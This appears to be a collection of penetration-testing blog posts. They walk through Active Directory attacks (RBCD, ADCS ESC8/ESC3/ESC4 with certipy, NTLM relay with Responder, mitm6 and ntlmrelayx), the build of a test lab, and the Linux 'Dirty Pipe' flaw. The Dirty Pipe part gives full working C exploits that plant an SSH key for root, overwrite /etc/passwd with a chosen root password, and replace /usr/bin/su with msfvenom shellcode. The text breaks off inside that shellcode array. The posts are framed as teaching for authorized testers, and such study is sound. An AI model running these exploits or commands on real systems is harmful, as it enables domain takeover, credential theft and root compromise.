In a Windows domain, devices have an msDS-AllowedToActOnBehalfOfOtherIdentitity attribute. Per Microsoft, “this attribute is used for access checks to determine if a requestor has permission to act on the behalf of other identities to services running as this account.” In this blog, we will exploit this feature to gain administrative access to a target system in a Resource Based Constrained Delegation (RBCD) attack.
First we need to have control of an account with an SPN (Service Principal Name). The easiest way to do this for our test is to create a machine account. By default any non-admin user can create up to 10 machine accounts, but this value is set by the MachineAccountQuota. You can query this info by using NoPAC scanner.
python3 scanner.py Domain/User -dc-ip DC-IP
Seeing the MachineAccountQuota above 0 (again default is 10), any user can create a machine account. I used impacket’s addcomputer.py script.
After configuring the attribute, I used impacket’s getST.py script to get a Kerberos ticket where we impersonate the administrator user on that device. In this case make sure to use the created machine account to login.
Note: When using the tickets, make sure the target isn’t an IP address but rather the domain name (i.e. lab1.ad.lab). You can use the target-ip flag to point to the right computer if names don’t resolve. I don’t want to admit how long it took me to figure that out.
Playing around with RBCD
Certipy has the ability to access an LDAP shell with a PFX certificate. Say there is web enrollment enabled. As we discussed in the past, you can force the server to authenticate to you then relay it to web enrollment.
certipy relay -ca CA-IP
After a successful relay you can use the saved certificate to access the LDAP shell.
Once in the LDAP shell you can set up the RBCD attack with the set_rbcd command where the first argument is the target device and the second is the controlled account.
set_rbcd Target Controlled-Account
After setting up the RBCD, it’s the same as before using getST to get the ticket and run with it.
Next I wanted to try the same thing but against the domain controller. So I setup certipy to get a domain controller certificate, as we’ve previously discussed.
As a note, because it’s a domain controller, the template has to be specified as DomainController, but you can still use it to access an LDAP shell.
I made a new user, protected.user, to show how to add protections within Active Directory to prevent these attacks. Here I successfully exploit RBCD before adding protections.
As expected, it worked.
Now I checked the box that prevents the account from being delegated.
And then I tried again.
This time the attack didn’t work, which is what we were looking for.
Microsoft also has a group called Protected Users which should (based on my understanding) enable protections against this and other attacks. While I’ve been blocked before by that group while performing penetration tests, for some reason, in my lab, adding a user to that group did not actually prevent the attack. I’m not sure why, but it didn’t, hence the method I discovered above to be sure the account is protected.
A Final Note
The end result for RBCD really is just getting administrative access to a machine. It’s a privilege escalation exploit, and it only works on the machine you’re targeting, not across the domain. If you’re on a DC then great. But it’s still a great way for someone to get admin access to a machine in order to try lateral movement or to access info on that machine during a penetration test.
I recently updated the last installment in my AD series – Active Directory Certificate Services (ADCS) Misconfiguration Exploits – with a few new tricks I discovered recently on an engagement. I mentioned that I have seen web enrollment where it does not listen on port 80 (HTTP), which is the default for certipy. I ran into some weird issues with certipy when testing on port 443, and I found that NTLMRelayx.py worked better in that case. As promised, here is a short blog explaining what I did.
This is basically the same thing as using certipy – just a different set of commands. So here we will go through an example and see how it works.
The first part of the command points to the target. Make sure to include the endpoint (/certsrv/certfnsh.asp) as NTLMRelay won’t know that on its own. Also make sure to tell NTLMRelay if the host is HTTP or HTTPS.
The adcs flag tells NTLMRelay that we are attacking ADCS, and the template flag is used to specify the template. This is needed if you are relaying a domain controller or want to target a specific template. However, if you are planning on just relaying machines or users, you can actually leave this part out.
As connections come in, NTLMRelay will figure out on its own whether it’s a user or machine account and request the proper certificate. It does this based on whether the incoming username ends in a dollar sign. If it ends in a dollar sign NTLMRelay requests a machine certificate, if not it requests a user certificate.
Once NTLMRelay gets a successful relay, it will return a large Base64 blob of data. This is a Base64 encoded certificate.
You can take this Base64 blob and save it to a file. Then just decode the Base64 and save that as a PFX certificate file. After that the attack is the same as the certipy attack in my previous blog. Just use the certificate to login.
Note: This blog was last updated 1/23/2024. Updates are noted by date below.
Active Directory Certificate Services (ADCS) is a server role that allows a corporation to build a public key infrastructure. This allows the organization to provide public key cryptography, digital certificates and digital signatures capabilities to the internal domain.
While using ADCS can provide a company with valuable capabilities on their network, a misconfigured ADCS server could allow an attacker to gain additional unauthorized access to the domain. This blog outlines exploitation techniques for vulnerable ADCS misconfigurations that we see in the field.
Tools We’ll Be Using
Certipy: A great tool for exploiting several ADCS misconfigurations.
PetitPotam: A tool that coerces Windows hosts to authenticate to other machines.
Secretsdump (a python script included in Impacket): A tool that dumps SAM and LSA secrets using methods such as pass-the-hash. It can also be used to dump the all the password hashes for the domain from the domain controller.
CrackMapExec: A multi-fasceted tool that, among other things, can dump user credentials while spraying credentials across the network to access more systems.
If an ADCS certificate authority has web enrollment enabled, an attacker can perform a relay attack against the Certificate Authority, possibly escalating privileges within the domain. We can use Certipy to find ADCS Certificate Authority servers by using the tool’s find command. Note that the attacker would need access to the domain, but the credentials of a simple authenticated user is all that is needed to perform the attack.
certipy find -dc-ip {DC IP Address} -u {User} -p {Password}
First, while setting up ADCS in my test environment, I setup a Certificate Authority to use for this testing.
Certipy’s find command also has a vulnerable flag that will only show misconfigurations within ADCS.
The text file output lists misconfigurations found by Certipy. While setting up my lab environment I checked the box for web enrollment. Here we see that the default configuration is vulnerable to the ESC8 attack:
To exploit this vulnerability, we can use Certipy to relay incoming connections to the CA server. Upon a successful relay we will gain access to a certificate for the relayed machine or the user account. But what really makes this a powerful attack is that we can relay the domain controller machine account, effectively giving us complete access to the domain. Using PetitPotam we can continue the attack and easily force the domain controller to authenticate to us.
The first step is to setup Certipy to relay the incoming connections to the vulnerable certificate authority. Since we are planning on relaying a domain controller’s connection, we need to specify the domain controller template.
certipy relay -ca {Certificate Authority IP Address} -template DomainController
Update 1/11/2024: While on an engagement I found that the organization had changed the default certificate templates. They had switched out the DomainController template with another one. So while I could successfully force a Domain Controller to authenticate, I would receive an error when trying to get a DomainController certificate. After a longer time than I care to admit, I used certipy to check the enabled templates and found that DomainController was not one of them. All I had to do was change the template name to match their custom template name. TL;DR: Check the templates if there is an error getting a DomainController certificate.
Now that Certipy is setup to relay connections, we use PetitPotam to coerce the domain controller into authenticating against our server.
python3 PetitPotam.py -u {Username} -p {Password} {Listener IP Address} {Target IP Address}
After Certipy receives the connection it will relay the connection and get a certificate for the domain controller machine account.
We can then use Certipy to authenticate with the certificate, which gives access to the domain controller’s machine account hash.
We can then use this hash with Secretsdump from the impacket library to dump all the user hashes. We can also use the hash with other tools such as CrackMapExec (CME) and smbclient. Basically anything that allows us to login with a username and hash would work. Here we use Secretsdump.
At this point we have complete access to the windows domain.
Update 1/23/2024: I have seen web enrollment where it does not listen on port 80 over HTTP, which is the default for certipy. I tried to use certipy on an engagement where web enrollment was listening only over HTTPS, and I ran into some weird issues. I found that NTLMRelay seems to work better in that situation, so I’ve written a new post detailing that attack.
Exploit 2: ESC3
In order to test additional misconfigurations that Certipy will identify and exploit, I started adding new certificate templates to the domain. While configuring the new template, I checked the option for Supply in the request, which popped up a warning box about possible issues.
Given that I want to exploit possible misconfigurations, I was happy to see it.
Note: If you are testing in your own environment, once you create the template you will need to configure the CA to actually serve it.
After creating and configuring the new certificate template, we use Certipy to enumerate vulnerable templates using the same command we used to start the previous attack. Certipy identified that the new template was vulnerable to ESC3 issue.
Exploiting this issue can allow an attacker to escalate privileges from those of a normal domain user to a domain administrator. The first step to gaining domain administrator privileges is to request a new certificate based on the vulnerable template. We will need access to the domain as a standard user.
certipy req -dc-ip {DC IP Address} -u {Username} -p {Password} -target-ip {CA IP Address} -ca {CA Server Name} -template {Vulnerable Template Name}
After acquiring the new certificate, we can use Certipy to request another certificate, this time a User certificate, for the administrator account.
certipy req -u {Username} -p {Password} -ca {CA Server Name} -target {CA IP Address} -template User -on-behalf-of {Domain\Username} -pfx {Saved Certificate}
With the certificate for the administrator user, we use certipy to authenticate with the domain, giving us access to the administrator’s password hash.
certipy auth -pfx {Saved Administrator Certificate} -dc-ip {DC IP Address}
At this point we have access to the domain as the domain’s Administrator account. Using the tools we’ve previously learned about like CME, we can take complete control of the domain.
crackmapexec smb {Target IP Address} -u {Username} -H {Password Hash}
From this point, we can use the Secretsdump utility to gather user password hashes from the domain, as previously illustrated.
Exploit 3: ESC4
Another vulnerable misconfiguration that can occur is if users have too much control over the certificate templates. First we configure a certificate on my test network that gives users complete control over the templates.
Now we use Certipy to show the vulnerable templates using the same command as we used in the prior exploits.
We can use Certipy to modify the certificate to make it vulnerable to ESC1, which allows a user to supply an arbitrary Subject Alternative Name.
The first step is to modify the vulnerable template to make it vulnerable to another misconfiguration.
certipy template -u {Username} -p {Password} -template {Vulnerable Template Name} -save-old target-ip {CA Server IP Address}
Note that we can use the save-old flag to save the old configuration. This allows us to restore the template after the exploit.
After modifying the template, we can request a new certificate specifying that it is for the administrator account. When specifying the new account use the account@domain format.
certipy req -u {Username} -p {Password} -ca {CA Server Name} -target {CA Server IP Address} -template {Template Name} -upn {Target Username@Domain} -dc-ip {DC IP Address}
Before we get too far, it’s a good idea to restore the certificate template.
After that we can authenticate with the certificate, again gaining access to the administrator’s hash.
certipy auth -pfx {Saved Certificate} -dc-ip {DC IP Address}
Exploit 4: Admin Control over CA Server
Another route to domain privilege escalation is if we have administrator access over the CA server. In the example lab I am just using a domain administrator account, but in a real engagement this access can be gained any number of ways.
If we have administrator access over the CA server, we can use the certificate to back everything up including the private keys and certificates.
certipy ca -backup -ca {CA Server Name} -u {Username} -p {Password} -dc-ip {DC IP Address}
After backing up the CA server up we can use Certipy to forge a new certificate for the administrator account. In a real engagement the domain information would have to be changed.
certipy forge -ca-pfx {Name of Backup Certificate} -upn {Username@Domain} -subject 'CN=Administrator,CN=Users,DC={Domain Name},DC={Domain Top Level}'
After forging the certificate, we can use it to authenticate, again giving us access to the user’s NTLM password hash.
certipy auth -pfx {Saved Certificate} -dc-ip {DC IP Address}
Now that we setup an AD test environment in my last post, we’re ready to try out broadcast attacks on our vulnerable test network.
In this post we will learn how to use tools freely available for use on Kali Linux to:
Discover password hashes on the network
Pivot to other machines on the network using discovered credentials and hashes
Relay connections to other machines to gain access
View internal file shares
For the attacker machine in my lab, I am using Kali Linux. This can be deployed as a virtual machine on the Proxmox server that we setup in my previous post or can be a separate machine as long as the Active Directory network is reachable.
MiTM6 will pretend to be a DNS server for a IPv6 network. By default Windows prefers IPv6 over IPv4 networks. Most places don’t utilize the IPv6 network space but don’t have it disabled in their Windows domains. Therefore, by advertising as a IPv6 router and setting the default DNS server to be the attacker, MiTM6 can spoof DNS entries allowing for man in the middle attacks. A note from their GitHub even mentions that it is designed to run with tools like ntlmrelayx and responder.
Responder will listen for broadcast name resolution requests and will respond to them on its own. It also has multiple servers that will listen for network connections and attempt to get user computers to authenticate with them, providing the attacker with their password hash. There is more to the tool than what is covered in this tutorial, so check it out!
CME is a useful tool for testing windows computers on the domain. There are many functions within CME that we won’t be discussing in this post, so I definitely recommend taking a deeper look! In this post we are using CME to enumerate SMB servers and whether SMB message signing is required and also to connect to and perform post exploitation activities.
First we will use CME to find all of the SMB servers on the AD network (10.80.0.0/24) and additionally to find those servers which do not require message signing. It saves those which don’t to the file name relay.lst.
Now we’re ready to start ntlmrelayx to relay credentials:
Ntlmrelayx is a tool that listens for incoming connections (mostly SMB and HTTP) and will, when one is received, relay (think forwarding) the connection/authentication to another SMB server. These other SMB servers are those that were found earlier by CME with the –gen-relay-list flag, so we know they don’t require message signing. Note that the smb2support flag just tells ntlmrelayx to setup a SMBv2 server.
Almost immediately we start getting traffic over HTTP:
Running the Attack
So far the responder, mitm6 and ntlmrelayx screens just show the initial starting of the program. Not much is actually happening in any of them. The CME screen is just showing the usage to gather SMB servers that don’t require message signing.
To help things along with our demo, we can force one of the computers on the network to attempt to access a share that doesn’t exist.
While a user looking for a share that doesn’t exist is not needed for this attack, it’s a quick way to skip waiting for an action to occur automatically. Many times on corporate networks, machines will mount shares automatically or users will need a share at some point allowing an attacker to poison the request them. If responder is the first to answer, our attack works, but, if not, the attack doesn’t work in that instance.
Responder captures and poisons the response so that the computer connects to ntlmrelayx, which is still running in the background.
Below we see where responder hears the search for “newshare” and responds with a fake/poisoned response saying that the attacker’s machine is in fact the host for “newshare.” This causes the victim machine to connect to ntlmrelayx which then relays the connection to another computer that doesn’t require message signing. We don’t need to see or crack a user password hash since we are just acting as a man in the middle (hence MiTM) and relaying the authentication from an actual user to another machine.
In this case the user on the Windows machine who searched for “newshare” turns out to be an administrator over some other machines, particularly the machine that ntlmrelayx relayed their credentials to. This means that ntlmrelayx now has administrator access to that machine.
The default action when ntlmrelayx has admin rights is to dump the SAM database. The SAM database holds the username and password hashes (NTLM) for local accounts to that computer. Due to how Windows authentication works, having the NTLM hash grants access as if we had the password. This means we can login to this computer at any time as the local administrator WITHOUT cracking the hash. While NTLM hashes are easy to crack, this speeds up our attack.
If other computers on the network share the same local accounts, we can then login to those computers as the admin as well. We could also use CME to spray the local admin password hash to check for credential reuse. Keep in mind that the rights and access we get to a server all depends on the rights of the user we are pretending to be. In pentests, we often do not start with an admin user and need to find ways to pivot from our initial user to other users with more access until we gain admin access.
The following screenshot shows ntlmrelayx dumping all of the local SAM password hashes on one device on our test network:
While getting the local account password hashes and and gaining access to new machines is a great attack, ntlmrelayx has more flags and modes that allow for other attacks and access. Let’s continue to explore these.
Playing around with –interactive
Ntlmrelayx has a mode that will create new TCP sockets that will allow for an attacker to interact with the created SMB connections after a successful relay. The flag is –interactive.
When the relay is successful a new TCP port is opened. We can connect to it with Netcat:
We can now interact with the host and the shares that are accessible to the user who is relayed.
nc 127.0.0.1 11000
nc 127.0.0.1 11001
Playing around with -SOCKS
With a successful relay ntlmrelayx can create a proxy that we can use with other tools to authenticate to other servers on the network. To use this proxy option ntlmrelayx has the -socks flag.
Here we use ntlmrelayx with the -socks flag to use the proxy option:
Below we see another user has an SMB connection relayed to an SMB server. With the proxy option ntlmrelayx sets up a proxy listener locally. When a new session is created (i.e. a user’s request is relayed successfully) it is added to the running sessions. Then, by directing other tools to the proxy server from ntlmrelayx, we can use these tools interact with these sessions.
In order to use this feature we need to set up our proxychains instance to use the proxy server setup by ntlmrelayx.
The following screen shows the proxychains configuration file at /etc/proxychains4.conf. Here we can see that, when we use the proxychains program, it is going to look for a socks4 proxy at localhost on port 1080. Proxychains is another powerful tool that can do much more than this. I recommend taking a deeper look.
Once we have proxychains set up, we can use any program that logs in over SMB. All we need is a user that has an active session. We can view active sessions that we can use to relay by issuing the socks command on ntlmrelayx:
In this example I have backup.admin session for each of the other 2 computers. Let’s use secretsdump from impacket’s library to gather hashes from the computer.
When the program asks for a password we can supply any text at all, as ntlmrelayx will handle the authentication for us and dump the hashes.
Since I am using a private test lab, the password for backup.admin is “Password2.” Here is an example of logging in with smbclient using the correct password:
Using proxychains to proxy the request through ntlmrelayx, we can submit the wrong password and still login successfully to see the same information:
Next Steps
All of the tools we discussed are very powerful, and this is just a sampling of what they can be used for. At Raxis we use these tools on most internal network tests. If you’re interested in a pentesting career, I highly recommend that you take a deeper look at them after performing the examples in this tutorial.
I hope you’ll join me next time when I discuss Active Directory Certificate Services and how to exploit them in our test AD environment.
Lead Pentester Andrew Trexler walks us through creating a simple AD environment.
Whether you use the environment to test new hacks before trying them on a pentest, or you use it while learning to pentest and study for the OSCP exam, it is a useful tool to have in your arsenal.
The Basics
Today we’ll go through the steps to set up a Windows Active Directory test environment using Proxmox to virtualize the computers. In the end, we’ll have a total of three connected systems, one Domain Controller and two other computers joined to the domain.
Setting up the Domain Controller (DC)
The first step is to setup a new virtualized network that will contain the Windows Active Directory environment. Select your virtualization server on the left:
This is a Windows based environment, but we’re using a Linux hypervisor to handle the underlying network architecture, so under System, select Network, and then create a Linux Bridge, as shown in Figures 2 and 3:
After setting up the network, we provision a new virtual machine where we will install Windows 2019 Server. Figure 4 shows the final configuration of the provisioned machine:
The next step is to install Windows 2019 Server. While installing the operating system make sure to install the Desktop Experience version of the operating system. This will make sure a GUI is installed, making it easier to configure the system.
Now that we have a fresh install, the next step is to configure the domain controller with a static IP address. This will allow the server to function as the DHCP server. Also make sure to set the same IP as the DNS server since the system will be configured later as the domain’s DNS server.
In order to make things easier to follow and understand later, let’s rename the computer to DC1 since it will be acting as our domain controller on the Active Directory domain.
Next, configure the system as a domain controller by using the Add Roles and Features Wizard to add the Active Directory Domain Services and DNS Server roles. This configuration will allow the server to fulfill the roles of a domain controller and DNS server.
After the roles are installed, we can configure the server and provision the new Active Directory environment. In this lab we will use the domain ad.lab. Other than creating a new forest and setting the name, the default options will be fine.
Setting Up the DHCP Service
The next step is to configure the DHCP service. Here we are using a portion of the 10.80.0.0/24 network space, leaving enough addresses available to accommodate static IP addressing where necessary.
There is no need for any exclusions on the network, and we will set the lease to be valid for an entire year.
Adding a Domain Administrator and Users
Additional configuration is now required within the domain. Let’s add a new domain administrator and some new domain users. Their names and passwords can be anything you want, just make sure to remember them.
First we create the Domain Administrator (DA):
Here we also make this user an Enterprise Admin (EA) by adding them to the Enterprise Admins group:
Next we will add a normal user to the domain:
Creating Windows PC
At this point we should have a functional Active Directory domain with active DHCP and DNS services. Next, we will setup and configure two other Windows 10 machines and join them to the domain.
The first step is to provision the resources on the Proxmox server. Since our test environment requires only moderate resources, we will only provision the machines with two processor cores and two gigabytes of RAM.
Then we install Windows 10 using the default settings. Once Windows is installed, we can open the Settings page and join the system to the ad.lab domain, changing the computer name to something easy to remember if called for.
Adding the system to the domain will require us to enter a domain admin’s password. After a reboot we should be able to login with a domain user’s account.
SMB Share
At this point, there should be three computers joined to the Active Directory domain. Using CrackMapExec, we can see the SMB server running on the domain controller but no other systems are visible via SMB. So let’s add a new network share. Open Explorer.exe, select Advance Sharing, and share the C drive.
I don’t recommend sharing the entire drive in an environment not used for testing, as it’s not secure: the entire contents of the machine would be visible. Since this is a pentest lab environment, though, this is exactly what we are looking for.
Creating the share resulted in the system exposing the SMB service to the network. In Figure 20 we verified this by using CrackMapExec to enumerate the two SMB servers:
Conclusion
At this point, our environment should be provisioned, and we are ready to test out different AD test cases, attacks, and other shenanigans. This environment is a great tool for ethically learning different exploits and refining pentesting techniques. Using a virtual infrastructure such as this also provides rollback capability for running multiple test cases with minimal downtime.
I hope you’ll come back to see my next posts in this series, which will show how to use this environment to test common exploits that we find during penetration testing.
The vulnerability described in CVE-2022-0847 allows any user to write to files that are read-only. This includes writing to files that are owned by root, allowing privilege escalation.
Editor’s note: This blog post and associated code provided below are intended for use only by qualified professionals with written permission to test networks for vulnerabilities. To perform these operations without authorization is illegal.
This articles describes four ways to exploit the so-called “Dirty Pipe” vulnerability by:
Writing ssh keys to root’s authorized keys file
Overwriting a setuid binary to give shell
Writing to /etc/passwd
Writing to a cron job to give access
Note: The code has been modified from the original author to accomplish each of these tasks.
For the exploits to work they need to overwrite information in the file. Any data already there is going to be overwritten, so take care to save a backup of the file. Also, you do need to have read privileges on the file for the exploit to work.
Authorized Keys
Default Linux installations that have the /root folder permissions restrict other users from reading it. There are exceptions, however, and a readable /root folder can be used to get to other users’ authorized keys.
The first step is to check if the /root/.ssh/authorized_keys file is readable. The exploit writes to this file, so making a backup is prudent before taking any action.
The next step is to create an exploit to overwrite the public key in the /root/.ssh/authorized_keys file with one of an attacker’s choosing. To do this, you’ll need to get a file descriptor to the /root/.ssh/authorized_keys file.
If an SSH key does not already exist, the attacker must create one using ssh- keygen. Note that the algorithm and the length must match that of the existing key already in the root folder because this exploit cannot make the file larger.
Add the key to the exploit code as a variable to overwrite the public key that is in authorized keys for the victim user. Note that, during the exploit, the first byte will be preserved. Remove the first “s” from the ssh-rsa value to accommodate this behavior.
Below is the complete code to exploit this vulnerability by overwriting the /root/.ssh/authorized_keys file. This attack is not limited to the root account; it could be used to compromise any user where authorized_keys file can be read.
Full Authorized Key Exploit Code
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
/* open roots authorized_keys file*/
const char* path = "/root/.ssh/authorized_keys";
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
/*Change this key to your key created with ssh-keygen*/
/*Due to how the offsets work make sure to remove the first s of ssh-rsa*/
const char* new_key = "sh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCXXiSefiZJikyRlDX4f37G++VPni7URUVMgG5sRMq1BUOHAATBm+7n+JPe3/+cViimEOqRH3cI73OvGQz+NwJfVSrlRjxSzkOted36omqUkqDWOmbzaKSirKruj6oQltQ5keN3/opkvHbBturI/L0hB8rgaDPq35LfiaE1LRu/H5KGYib4B0oVnVbJ33u8/Y54Cwld7zIKTKdanvPwu2lmV0swYXuQHv3ydJAWMh/9HdFslj9BM43NsVakTqHBJ0qdC11tww0gieKMJlPgJYKCjW+2uahPYXsDNjW0+wl2wxxSqZnkBFFwsX5gahKwmxGVQLRX7rtYJ1Mnzu+ZdxlhQBy+lUsiWtfbdlj+i0tsO3zO2b9k2a6sXTpGzEYaQ9+nUnbpB3Ih5i2Oc3uimS0n2BbrynUKLzha5FmqW7uc+ZQGmkBy06pSHN2q39MhzmoluYFbVcb4lWgr1tUjoWh18WWHG+YM0ybj88DNhkFP3LYfj1WI/9YKrU0SxAAjxvU=\n";
const size_t new_key_size = strlen(new_key);
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
long int offset = 0;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], new_key, new_key_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < new_key_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
After compiling and running the exploit, all that’s left is to login with the key and fix it so all other users can still login.
Passwd
In this case we will open the /etc/passwd file and change the contents in order to change the root user’s password to something we know. This will overwrite the file so creating a backup is prudent before performing any overwrite actions.
The copy_file function was ported from a published dirtyCOW exploit by FireFart.
After backing up the file, generate a passwd value in the correct format.
Full passwd Exploit Code
/*Link with -lcrypt when compiling*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again\n",
to);
return -1;
}
char ch;
FILE *source, *target;
source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}
while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}
printf("%s successfully backed up to %s\n",
from, to);
fclose(source);
fclose(target);
return 0;
}
int main(int argc, char **argv)
{
const char* filename = "/etc/passwd";
const char* backupname = "/tmp/passwd.bak";
int temp = copy_file(filename, backupname);
if (temp == -1) {
return 1;
}
/*Change the password to whatever you want the new root user's password to be.*/
const char* newPassword = "SecurePassword";
const char* salt = "Salt";
char* passwordHash = crypt(newPassword, salt);
printf("%s\n", passwordHash);
char generatedLine[400];
sprintf(generatedLine, "oot:%s:0:0:Pwned:/root:/bin/bash\n", passwordHash);
printf("New passwd line: %s", generatedLine);
/* open the input file and validate the specified offset */
const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
long int offset = 0;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], generatedLine, strlen(generatedLine));
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < strlen(generatedLine)) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
printf("You can now login with root:%s\n", newPassword);
return EXIT_SUCCESS;
}
At this point the exploit works as before; configure the appropriate pipe and insert the data to be written to the /etc/passwd file. As before, remove the first character of the string and then compile and run. Head is used to confirm /etc/passwd has changed, resulting in root’s password being changed to our controlled value. The complete exploit to overwrite the /etc/passwd file is shown below.
SetUID
If the /root/.ssh/authorized_keys file is unwritable, we can use a setuid binary to overwrite it with a binary that will give us a root shell.
First it’s necessary to create a binary that will instantiate a shell. This is fairly straight forward. It requires creation of a program that is a setuid program owned by root. This is necessary for the attack to successfully escalate privileges.
Msfvenom is a popular utility for creating exploit binaries and can be used to create the shellcode for this attack.
From there, convert the binary data to a hexadecimal representation using Python’s binascii library.
Use the find utility to locate suitable root-owned setuid binaries for targeting.
For our purposes, we will overwrite the su binary. The replacement code launches a shell and sets the uid (UserID) and gid (GroupID) to 0 (root’s). Here is the character array of the shell code that we dumped using the xxd utility.
As before, comment out the first byte since that will be coming from the file on disk.
As a best practice, backup the binary you choose to overwrite prior to performing the attack, and then compile the program and run it. Sha1sum is used below to confirm that the binary has changed. Once that’s complete, execute the program to get a root shell.
Full SetUID Exploit Code
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
const char* filename = "/usr/bin/su";
/*Elf file generated with msfvenom*/
unsigned char elfcode[] = {
/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00,
0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
0x00, 0x9d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc2, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
